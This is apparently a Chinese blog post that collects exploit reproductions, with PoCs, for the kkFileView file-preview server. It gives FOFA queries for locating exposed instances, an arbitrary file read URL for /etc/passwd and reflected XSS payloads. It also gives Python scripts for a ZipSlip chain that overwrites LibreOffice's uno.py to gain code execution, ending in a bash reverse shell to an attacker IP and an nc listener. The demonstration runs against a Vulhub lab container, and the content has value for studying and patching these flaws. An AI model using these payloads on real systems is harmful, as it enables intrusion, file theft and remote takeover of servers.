kkfileview漏洞复现集合(含POC)

kkfileview漏洞复现集合(含POC)

kkFileView 是一个开源的在线文件预览解决方案,基于 Spring Boot 构建。可以把它理解成一个“文件预览转换器”:业务系统把文件的 URL 传给 kkFileView,它负责把文件转换成浏览器能直接显示的样子,然后返回给用户看。

项目实战中可能会遇到,可以通过以下方法打nday。fofa语法:

app="kkFileView"
body="文件预览项目接入"
title="kkFileView演示首页"
环境搭建:

image

 

65b8fdffd2c075c534fd57f1537da82f

 

http://192.168.184.201:8012/index

image

 

 

漏洞一:任意文件读取影响版本:

kkFileView <= v3.6.0,<= 4.0.0

1、访问url,发现最近发行记录版本为4.0.0,测试任意文件读取漏洞。

image

 

目标+/getCorsFile?urlPath=file:///etc/passwd

image

 漏洞二:无回显SSRF漏洞

影响版本:kkFileView <= 3.6.0, <= 4.0.0

image

image

 漏洞三:反射性xss漏洞

影响版本:kkFileView <= 4.1.0

 

/picturesPreview?urls=aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D/onlinePreview?url=aHR0cDovLyI2BPHN2Zy9vbmxvYWQ9IndpbmRvdy5vbmVycm9yPWV2YWw7dGhyb3cnPWFsZXJ0XHgyODFceDI5JzsiPi90ZXN0LnBuZw%3D%3D/picturesPreview?urls=&currentUrl=Iik7YWxlcnQoIjExMQ==还原/picturesPreview?urls=http://www.baidu.com/test.txt"><img src=111 onerror=alert(1)>/onlinePreview?url=http://"6<img/onload="window.onerror=eval;throw'=alert(1)';">/test.png/picturesPreview?urls=&currentUrl=");alert("111

image

 漏洞四:任意文件上传漏洞

影响版本:kkFileView=4.1.0文件上传xss漏洞

 

image

 

image

 漏洞五:任意文件写入导致RCE

影响版本:4.2.0 <= kkFileviw <= 4.4.0beta(最新分支不受影响)

漏洞核心原理:

这个漏洞的核心是一个经典的 ZipSlip(压缩包路径穿越) 问题,结合了 kkFileView 的特定功能,最终导致了 RCE。

第一步:ZipSlip 任意文件写入

kkFileView 在处理压缩包预览时,会调用 CompressFileReader#unRar 方法进行解压。问题在于,解压时没有对压缩包内文件的路径进行安全检查。如果压缩包里的文件名包含 ../../../../ 这样的路径穿越字符,解压时就会按照这个路径,把文件写到服务器上的任意位置。

第二步:覆盖 LibreOffice 的 uno.py

kkFileView 在预览 .odt 等 Office 文档时,会调用 LibreOffice 将其转换为 PDF 格式。LibreOffice 启动时会自动加载其 Python 库中的 uno.py 文件。攻击者可以通过 ZipSlip 漏洞,用恶意 Python 代码覆盖这个 uno.py 文件。

第三步:触发 RCE

当 kkFileView 再次预览任意 .odt 文件时,LibreOffice 会被启动,并自动加载已经被篡改的 uno.py,从而执行攻击者写入的恶意代码,实现远程命令执行。


漏洞复现

1. 环境搭建

# 拉取 Vulhub 的 kkFileView 4.3.0 镜像

docker pull vulhub/kkfileview:4.3.0

# 启动容器

docker run -d -p 8012:8012 --name kkfileview vulhub/kkfileview:4.3.0

启动后,访问 http://<你的Kali IP>:8012 就能看到 kkFileView 的首页。

查看版本


2. 制作恶意 ZIP 压缩包

import zipfile
if __name__ == "__main__":    try:        binary1 = b'vulhub'  # 一个正常文件,用于生成缓存        # 恶意代码:创建一个文件证明命令执行成功        binary2 = b"import os\nos.system('touch /tmp/success')\n"
        zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED)        # 1. 写入一个正常文件,确保解压流程触发        zipFile.writestr("test", binary1)        # 2. 写入路径穿越的恶意文件,覆盖 uno.py        zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)        zipFile.close()    except IOError as e:        raise e
#运行生成test.zip
python poc.py

image

 

3. 上传并触发漏洞

上传 ZIP:在 kkFileView 首页,上传生成的 test.zip,然后点击其“预览”按钮。这会触发 ZipSlip 漏洞,恶意内容被写入 uno.py。

image

 

image

 

上传 ODT:随便创建一个内容为空的 .odt 文件(例如用 LibreOffice 新建一个空白文档并保存),上传到 kkFileView,并点击“预览”按钮。

image

 

4. 验证结果

进入 Docker 容器,检查 /tmp/success 文件是否被创建:

docker exec -it kkfileview ls -l /tmp/success

5、深入利用-弹计算机/反弹shell

反弹ip改成kali攻击机的。

 

import zipfile
if __name__ == "__main__":    try:        binary1 = b'vulhub'        # 反弹 shell 到 Kali        binary2 = b"import os\nos.system('bash -c \"bash -i >& /dev/tcp/192.168.0.52/4444 0>&1\"')\n"
        zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED)        zipFile.writestr("test", binary1)        zipFile.writestr(            "../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py",            binary2        )        zipFile.close()    except IOError as e:        raise e

kali监听

nc -lvnp 4444

image

 重新生成test.zip压缩包上传预览,将ODT文件也上传预览。查看kali监听状态,反弹shell成功

image

 

posted @ 2026-09-11 10:40  杭椒の暗杀行动  阅读(4)  评论(0)    收藏  举报